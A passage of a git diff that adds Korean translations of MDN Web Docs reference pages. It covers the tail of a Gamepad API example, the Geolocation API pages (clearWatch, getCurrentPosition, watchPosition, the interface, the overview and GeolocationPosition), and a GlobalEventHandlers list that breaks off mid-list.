+  delete controllers[gamepad.index];
+}
+
+function updateStatus() {
+  if (!haveEvents) {
+    scangamepads();
+  }
+
+  var i = 0;
+  var j;
+
+  for (j in controllers) {
+    var controller = controllers[j];
+    var d = document.getElementById("controller" + j);
+    var buttons = d.getElementsByClassName("button");
+
+    for (i = 0; i < controller.buttons.length; i++) {
+      var b = buttons[i];
+      var val = controller.buttons[i];
+      var pressed = val == 1.0;
+      if (typeof(val) == "object") {
+        pressed = val.pressed;
+        val = val.value;
+      }
+
+      var pct = Math.round(val * 100) + "%";
+      b.style.backgroundSize = pct + " " + pct;
+
+      if (pressed) {
+        b.className = "button pressed";
+      } else {
+        b.className = "button";
+      }
+    }
+
+    var axes = d.getElementsByClassName("axis");
+    for (i = 0; i < controller.axes.length; i++) {
+      var a = axes[i];
+      a.innerHTML = i + ": " + controller.axes[i].toFixed(4);
+      a.setAttribute("value", controller.axes[i] + 1);
+    }
+  }
+
+  requestAnimationFrame(updateStatus);
+}
+
+function scangamepads() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads() : []);
+  for (var i = 0; i < gamepads.length; i++) {
+    if (gamepads[i]) {
+      if (gamepads[i].index in controllers) {
+        controllers[gamepads[i].index] = gamepads[i];
+      } else {
+        addgamepad(gamepads[i]);
+      }
+    }
+  }
+}
+
+
+window.addEventListener("gamepadconnected", connecthandler);
+window.addEventListener("gamepaddisconnected", disconnecthandler);
+
+if (!haveEvents) {
+  setInterval(scangamepads, 500);
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Gamepad", "#gamepad-interface", "Gamepad")}}{{Spec2("Gamepad")}}Initial defintion
+ +

Browser compatibility

+ + + +

{{Compat("api.Gamepad")}}

diff --git a/files/ko/web/api/geolocation/clearwatch/index.html b/files/ko/web/api/geolocation/clearwatch/index.html new file mode 100644 index 0000000000..b58c9b7738 --- /dev/null +++ b/files/ko/web/api/geolocation/clearwatch/index.html @@ -0,0 +1,92 @@ +--- +title: Geolocation.clearWatch() +slug: Web/API/Geolocation/clearWatch +tags: + - API + - Geolocation API + - Method + - Reference + - Secure context + - 위치 + - 위치정보 +translation_of: Web/API/Geolocation/clearWatch +--- +
{{securecontext_header}}{{ APIref("Geolocation API") }}
+ +

Geolocation.clearWatch() 메서드는 {{domxref("Geolocation.watchPosition()")}}로 등록한 위치 변화 감지 콜백을 해제합니다.

+ +

구문

+ +
navigator.geolocation.clearWatch(id);
+ +

매개변수

+ +
+
id
+
{{domxref("Geolocation.watchPosition()")}} 메서드가 반환하는 콜백 ID.
+
+ +

예제

+ +
var id, target, option;
+
+function success(pos) {
+  var crd = pos.coords;
+
+  if (target.latitude === crd.latitude && target.longitude === crd.longitude) {
+    console.log('Congratulation, you reach the target');
+    navigator.geolocation.clearWatch(id);
+  }
+};
+
+function error(err) {
+  console.warn('ERROR(' + err.code + '): ' + err.message);
+};
+
+target = {
+  latitude : 0,
+  longitude: 0,
+}
+
+options = {
+  enableHighAccuracy: false,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+id = navigator.geolocation.watchPosition(success, error, options);
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation')}}{{Spec2('Geolocation')}}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Geolocation.clearWatch")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/geolocation/getcurrentposition/index.html b/files/ko/web/api/geolocation/getcurrentposition/index.html new file mode 100644 index 0000000000..ffe4aeae2f --- /dev/null +++ b/files/ko/web/api/geolocation/getcurrentposition/index.html @@ -0,0 +1,88 @@ +--- +title: Geolocation.getCurrentPosition() +slug: Web/API/Geolocation/getCurrentPosition +tags: + - API + - Geolocation + - Geolocation API + - Method + - Reference + - Secure context + - 위치 + - 위치정보 +translation_of: Web/API/Geolocation/getCurrentPosition +--- +
{{securecontext_header}}{{ APIRef("Geolocation API") }}
+ +

Geolocation.getCurrentPosition() 메서드는 장치의 현재 위치를 가져옵니다.

+ +

구문

+ +
navigator.geolocation.getCurrentPosition(success[, error[, [options]])
+ +

매개변수

+ +
+
success
+
{{domxref("GeolocationPosition")}} 객체를 유일한 매개변수로 받는 콜백 함수.
+
error {{optional_inline}}
+
{{domxref("GeolocationPositionError")}} 객체를 유일한 매개변수로 받는 콜백 함수.
+
options {{optional_inline}}
+
{{domxref("PositionOptions")}} 객체.
+
+ +

예제

+ +
var options = {
+  enableHighAccuracy: true,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+function success(pos) {
+  var crd = pos.coords;
+
+  console.log('Your current position is:');
+  console.log('Latitude : ' + crd.latitude);
+  console.log('Longitude: ' + crd.longitude);
+  console.log('More or less ' + crd.accuracy + ' meters.');
+};
+
+function error(err) {
+  console.warn('ERROR(' + err.code + '): ' + err.message);
+};
+
+navigator.geolocation.getCurrentPosition(success, error, options);
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation')}}{{Spec2('Geolocation')}}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Geolocation.getCurrentPosition")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/geolocation/index.html b/files/ko/web/api/geolocation/index.html new file mode 100644 index 0000000000..475c706920 --- /dev/null +++ b/files/ko/web/api/geolocation/index.html @@ -0,0 +1,70 @@ +--- +title: Geolocation +slug: Web/API/Geolocation +tags: + - API + - Advanced + - Geolocation API + - Interface + - Reference + - Secure context + - 위치정보 +translation_of: Web/API/Geolocation +--- +
{{securecontext_header}}{{APIRef("Geolocation API")}}
+ +

Geolocation 인터페이스는 장치의 위치를 가져오는 방법을 나타냅니다. Geolocation을 사용하면 웹 사이트나 웹 앱이 위치 정보를 활용해, 현재 위치에 대해 맞춤 콘텐츠를 제공할 수 있습니다.

+ +

{{domxref("Navigator")}} 객체의 {{domxref("Navigator.geolocation", "geolocation")}} 속성으로 이 인터페이스를 구현하는 객체에 접근할 수 있습니다.

+ +
+

참고: 보안 상의 문제로, 웹 페이지가 위치 정보에 접근을 시도하면 사용자에게 알림을 보내고 권한을 허용할지 묻습니다. 각 브라우저는 자신만의 권한 정책과 요청 방식을 가지고 있으므로 주의해야 합니다.

+
+ +

속성

+ +

Geolocation 인터페이스는 어떤 속성도 구현하거나 상속하지 않습니다.

+ +

메서드

+ +

Geolocation 인터페이스는 어떤 메서드도 상속하지 않습니다.

+ +
+
{{domxref("Geolocation.getCurrentPosition()")}} {{securecontext_inline}}
+
장치의 현재 위치를 조사한 후 {{domxref("GeolocationPosition")}} 객체로 반환합니다.
+
{{domxref("Geolocation.watchPosition()")}} {{securecontext_inline}}
+
장치의 위치가 변경될 때마다 호출하는 콜백을 등록합니다. 반환값은 콜백의 식별자로 쓸 수 있는 long 값입니다.
+
{{domxref("Geolocation.clearWatch()")}} {{securecontext_inline}}
+
watchPosition()을 이용해 등록한 특정 콜백을 삭제합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation')}}{{Spec2('Geolocation')}}초기 명세.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Geolocation")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/geolocation/watchposition/index.html b/files/ko/web/api/geolocation/watchposition/index.html new file mode 100644 index 0000000000..0e38ea31ac --- /dev/null +++ b/files/ko/web/api/geolocation/watchposition/index.html @@ -0,0 +1,99 @@ +--- +title: Geolocation.watchPosition() +slug: Web/API/Geolocation/watchPosition +tags: + - API + - Geolocation + - Geolocation API + - Method + - Reference + - Secure context +translation_of: Web/API/Geolocation/watchPosition +--- +
{{securecontext_header}}{{ APIref("Geolocation API") }}
+ +

{{domxref("Geolocation")}} 인터페이스의 watchPosition() 메서드는 장치의 위치가 바뀔 때마다 자동으로 호출할 처리기 함수를 등록할 때 사용합니다. 선택적으로 오류 발생 시 사용할 콜백 함수도 지정할 수 있습니다.

+ +

구문

+ +
navigator.geolocation.watchPosition(success[, error[, options]])
+ +

매개변수

+ +
+
success
+
{{domxref("GeolocationPosition")}} 객체를 입력 매개변수로 사용하는 콜백 함수.
+
error {{optional_inline}}
+
{{domxref("GeolocationPositionError")}} 객체를 입력 매개변수로 사용하는 콜백 함수.
+
options {{optional_inline}}
+
위치 감지 설정 옵션을 제공하는 {{domxref("PositionOptions")}} 객체.
+
+ +

반환 값

+ +

등록한 처리기를 식별할 때 사용하는 정수 ID. ID를 {{domxref("Geolocation.clearWatch()")}}에 전달해 등록을 해제할 수 있습니다.

+ +

예제

+ +
var id, target, options;
+
+function success(pos) {
+  var crd = pos.coords;
+
+  if (target.latitude === crd.latitude && target.longitude === crd.longitude) {
+    console.log('Congratulations, you reached the target');
+    navigator.geolocation.clearWatch(id);
+  }
+}
+
+function error(err) {
+  console.warn('ERROR(' + err.code + '): ' + err.message);
+}
+
+target = {
+  latitude : 0,
+  longitude: 0
+};
+
+options = {
+  enableHighAccuracy: false,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+id = navigator.geolocation.watchPosition(success, error, options);
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation', '#dom-geolocation-watchposition', 'watchPosition()')}}{{Spec2('Geolocation')}}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Geolocation.watchPosition")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/geolocation_api/index.html b/files/ko/web/api/geolocation_api/index.html new file mode 100644 index 0000000000..e65181fdda --- /dev/null +++ b/files/ko/web/api/geolocation_api/index.html @@ -0,0 +1,97 @@ +--- +title: Geolocation API +slug: Web/API/Geolocation_API +tags: + - Geolocation API + - Guide + - Intermediate + - Overview +translation_of: Web/API/Geolocation_API +--- +
{{securecontext_header}}{{DefaultAPISidebar("Geolocation API")}}
+ +

Geolocation API는 사용자가 원할 경우 웹 애플리케이션에 위치 정보를 제공할 수 있는 API입니다. 개인정보 보호를 위해, 브라우저는 위치 정보를 제공하기 전에 사용자에게 위치 정보 권한에 대한 확인을 받습니다.

+ +

Geolocation 객체를 사용하려는 WebExtension은 매니페스트에 "geolocation" 권한을 추가해야 합니다. 사용자의 운영 체제는 WebExtension이 처음으로 위치 정보를 요청하는 순간 사용자에게 정보 제공 여부를 물어봅니다.

+ +

개념과 사용법

+ +

사용자의 현재 위치를 지도에 표시하거나 위치 기반 개인화 정보를 제공하는 등, 웹 앱에서 위치 정보를 가져와야 하는 경우가 종종 있습니다.

+ +

Geolocation API는 {{domxref("Navigator.geolocation", "navigator.geolocation")}}을 통해 접근합니다. 이 때, 사용자의 브라우저는 위치 정보 접근 권한을 요청하게 되고, 사용자가 허가할 경우 현재 장치에서 사용 가능한 최선의 방법(GPS, WiFi, ...)을 통해 위치를 알아냅니다.

+ +

위의 과정이 끝난 후, 코드에서는 몇 가지 다른 방법으로 위치 정보를 가져올 수 있습니다.

+ + + +

두 메서드 모두 최대 세 개의 매개변수를 받습니다.

+ + + +

Geolocation 사용법에 대한 추가 정보는 Geolocation API 사용하기 문서를 참고하세요.

+ +

인터페이스

+ +
+
{{domxref("Geolocation")}}
+
Geolocation API의 주요 클래스로서 사용자의 현재 위치를 가져오고, 위치 변경을 감지하고, 이전에 등록했던 감지기를 제거하는 메서드를 담고 있습니다.
+
{{domxref("GeolocationPosition")}}
+
사용자의 위치를 나타냅니다. GeolocationPosition 인스턴스는 {{domxref("Geolocation")}} 객체 메서드의 성공 콜백에 제공되며, 타임스탬프와 함께 {{domxref("GeolocationCoordinates")}} 객체 인스턴스를 포함합니다.
+
{{domxref("GeolocationCoordinates")}}
+
사용자 위치의 좌표를 나타냅니다. GeolocationCoordinates 인스턴스는 위도, 경도 외에도 기타 중요한 관련 정보를 포함합니다.
+
{{domxref("GeolocationPositionError")}}
+
GeolocationPositionError는 {{domxref("Geolocation")}} 객체 메서드의 오류 콜백에 제공되며, 오류 코드와 오류 메시지를 담고 있습니다.
+
{{domxref("Navigator.geolocation")}}
+
API로 접근할 수 있는 지점입니다. {{domxref("Geolocation")}} 객체 인스턴스를 반환합니다.
+
+ +

연관 배열

+ +
+
{{domxref("PositionOptions")}}
+
{{domxref("Geolocation.getCurrentPosition()")}}과 {{domxref("Geolocation.watchPosition()")}}에 매개변수로 전달할 옵션을 나타내는 객체입니다.
+
+ +

예제

+ +

{{page("/en-US/docs/Web/API/Geolocation_API/Using_the_Geolocation_API","Examples")}}

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Geolocation")}}{{Spec2("Geolocation")}}
+ +

브라우저 호환성

+ +

{{Compat("api.Geolocation")}}

+ +

가용성

+ +

WiFi 기반의 위치 정보는 보통 Google이 제공하므로, 기본 Geolocation API는 중국에서 사용하지 못할 수도 있습니다. 대신 Baidu, Autonavi, Tencent 등 지역 서드파티 제공자가 지원하는 라이브러리를 사용할 수 있습니다. 위 서비스는 WiFi 대신 IP 주소와 지역 앱을 사용해 위치 정보를 개선합니다.

+ +

같이 보기

+ + diff --git a/files/ko/web/api/geolocationposition/index.html b/files/ko/web/api/geolocationposition/index.html new file mode 100644 index 0000000000..c941b7f961 --- /dev/null +++ b/files/ko/web/api/geolocationposition/index.html @@ -0,0 +1,62 @@ +--- +title: GeolocationPosition +slug: Web/API/GeolocationPosition +tags: + - API + - Geolocation API + - GeolocationPosition + - Interface + - Reference + - Secure context +translation_of: Web/API/GeolocationPosition +--- +
{{securecontext_header}}{{APIRef("Geolocation API")}}
+ +

GeolocationPosition 인터페이스는 주어진 시간에 장치가 위치한 지점을 나타냅니다. 지점은 {{domxref("Coordinates")}} 객체로 표현하여, 지구를 나타내는 회전타원체 위의 2D 위치와 더불어 높이와 속도 정보를 담습니다.

+ +

속성

+ +

GeolocationPosition 인터페이스는 어떤 속성도 상속하지 않습니다.

+ +
+
{{domxref("Position.coords")}} {{readonlyInline}} {{securecontext_inline}}
+
주어진 시간의 위치를 나타내는 {{domxref("Coordinates")}} 객체입니다.
+
{{domxref("Position.timestamp")}} {{readonlyInline}} {{securecontext_inline}}
+
위치를 기록한 시간을 나타내는 {{domxref("DOMTimeStamp")}}입니다.
+
+ +

메서드

+ +

GeolocationPosition 인터페이스는 어떤 메서드도 상속하거나 구현하지 않습니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation', '#position', 'Position')}}{{Spec2('Geolocation')}}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.GeolocationPosition")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/globaleventhandlers/index.html b/files/ko/web/api/globaleventhandlers/index.html new file mode 100644 index 0000000000..46d38934b1 --- /dev/null +++ b/files/ko/web/api/globaleventhandlers/index.html @@ -0,0 +1,268 @@ +--- +title: GlobalEventHandlers +slug: Web/API/GlobalEventHandlers +tags: + - API + - DOM + - HTML DOM + - Mixin + - Reference +translation_of: Web/API/GlobalEventHandlers +--- +
{{ApiRef("HTML DOM")}}
+ +

GlobalEventHandlers 믹스인mixin은 {{domxref("HTMLElement")}}, {{domxref("Document")}}, {{domxref("Window")}} 등 여러 인터페이스가 공유하는 공통 이벤트 처리기를 묘사합니다. 물론, 각각의 인터페이스는 아래에 나열된 항목뿐만 아니라 더 많은 이벤트 처리기를 추가할 수 있습니다.

+ +
+

참고: GlobalEventHandlers는 인터페이스가 아닌 믹스인입니다. 따라서 GlobalEventHandlers 자료형을 가진 객체를 만들 수는 없습니다.

+
+ +

속성

+ +

이 인터페이스는 아래에 나열된 이벤트 처리기를 위한 속성만을 갖습니다.

+ +

이벤트 처리기

+ +

다음 이벤트 처리기들은 {{domxref("GlobalEventHandlers")}} 믹스인이 정의하고, {{domxref("HTMLElement")}}, {{domxref("Document")}}, {{domxref("Window")}}와 웹 워커의 {{domxref("WorkerGlobalScope")}}가 구현합니다.

+ +
+
+
{{domxref("GlobalEventHandlers.onabort")}}
+
{{event("abort")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onanimationcancel")}} {{Non-standard_inline}}
+
실행 중이던 CSS 애니메이션이 취소됐음을 알리는 {{event("animationcancel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onanimationend")}} {{Non-standard_inline}}
+
실행 중이던 CSS 애니메이션이 끝났음을 알리는 {{event("animationend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onanimationiteration")}} {{Non-standard_inline}}
+
실행 중인 CSS 애니메이션의 다음 회차 재생이 시작됐음을 알리는 {{event("animationiteration")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onanimationstart")}} {{Non-standard_inline}}
+
CSS 애니메이션의 재생이 시작됐음을 알리는 {{event("animationstart")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onauxclick")}} {{Non-standard_inline}}
+
마우스 휠 클릭 등 비주요 버튼이 눌렸음을 알리는 {{event("auxclick")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onblur")}}
+
{{event("blur")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onerror")}}
+
{{event("error")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("OnErrorEventHandler")}}.
+
{{domxref("GlobalEventHandlers.onfocus")}}
+
{{event("focus")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.oncancel")}}
+
{{event("cancel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.oncanplay")}}
+
{{event("canplay")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.oncanplaythrough")}}
+
{{event("canplaythrough")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onchange")}}
+
{{event("change")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onclick")}}
+
{{event("click")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onclose")}}
+
{{event("close")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.oncontextmenu")}}
+
{{event("contextmenu")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.oncuechange")}}
+
{{event("cuechange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ondblclick")}}
+
{{event("dblclick")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ondrag")}}
+
{{event("drag")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ondragend")}}
+
{{event("dragend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ondragenter")}}
+
{{event("dragenter")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ondragexit")}}
+
{{event("dragexit")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ondragleave")}}
+
{{event("dragleave")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ondragover")}}
+
{{event("dragover")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ondragstart")}}
+
{{event("dragstart")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ondrop")}}
+
{{event("drop")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ondurationchange")}}
+
{{event("durationchange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onemptied")}}
+
{{event("emptied")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onended")}}
+
{{event("ended")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ongotpointercapture")}}
+
+

{{event("gotpointercapture")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.

+
+
{{domxref("GlobalEventHandlers.oninput")}}
+
{{event("input")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.oninvalid")}}
+
{{event("invalid")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onkeydown")}}
+
{{event("keydown")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onkeypress")}}
+
{{event("keypress")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onkeyup")}}
+
{{event("keyup")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onload")}}
+
{{event("load")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onloadeddata")}}
+
{{event("loadeddata")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onloadedmetadata")}}
+
{{event("loadedmetadata")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onloadend")}}
+
자원의 불러오기가 멈췄음을 나타내는 {{event("loadend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onloadstart")}}
+
자원을 불러오기 시작함을 나타내는 {{event("loadstart")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onlostpointercapture")}}
+
+

{{event("lostpointercapture")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.

+
+
{{domxref("GlobalEventHandlers.onmousedown")}}
+
{{event("mousedown")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onmouseenter")}}
+
{{event("mouseenter")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onmouseleave")}}
+
{{event("mouseleave")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onmousemove")}}
+
{{event("mousemove")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onmouseout")}}
+
{{event("mouseout")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onmouseover")}}
+
{{event("mouseover")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onmouseup")}}
+
{{event("mouseup")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onmousewheel")}} {{Non-standard_inline}} {{Deprecated_inline}}
+
{{event("mousewheel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}. onwheel을 대신 사용하세요.
+
{{ domxref("GlobalEventHandlers.onwheel") }}
+
{{event("wheel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onpause")}}
+
{{event("pause")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onplay")}}
+
{{event("play")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onplaying")}}
+
{{event("playing")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onpointerdown")}}
+
{{event("pointerdown")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onpointermove")}}
+
{{event("pointermove")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onpointerup")}}
+
{{event("pointerup")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onpointercancel")}}
+
{{event("pointercancel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onpointerover")}}
+
{{event("pointerover")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onpointerout")}}
+
{{event("pointerout")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onpointerenter")}}
+
{{event("pointerenter")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onpointerleave")}}
+
{{event("pointerleave")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onpointerlockchange")}} {{experimental_inline}}
+
{{event("pointerlockchange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onpointerlockerror")}} {{experimental_inline}}
+
{{event("pointerlockerror")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onprogress")}}
+
{{event("progress")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onratechange")}}
+
{{event("ratechange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onreset")}}
+
{{event("reset")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onresize")}}
+
{{event("resize")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onscroll")}}
+
{{event("scroll")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onseeked")}}
+
{{event("seeked")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onseeking")}}
+
{{event("seeking")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onselect")}}
+
{{event("select")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onselectstart")}}
+
사용자가 웹 페이지의 텍스트 등을 선택하기 시작함을 나타내는 {{event("selectionchange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onselectionchange")}}
+
웹 페이지의 선택 영역(텍스트 등)이 바뀌었음을 나타내는 {{event("selectionchange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onshow")}}
+
{{event("show")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onsort")}} {{experimental_inline}}
+
{{event("sort")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onstalled")}}
+
{{event("stalled")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onsubmit")}}
+
{{event("submit")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onsuspend")}}
+
{{event("suspend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ontimeupdate")}}
+
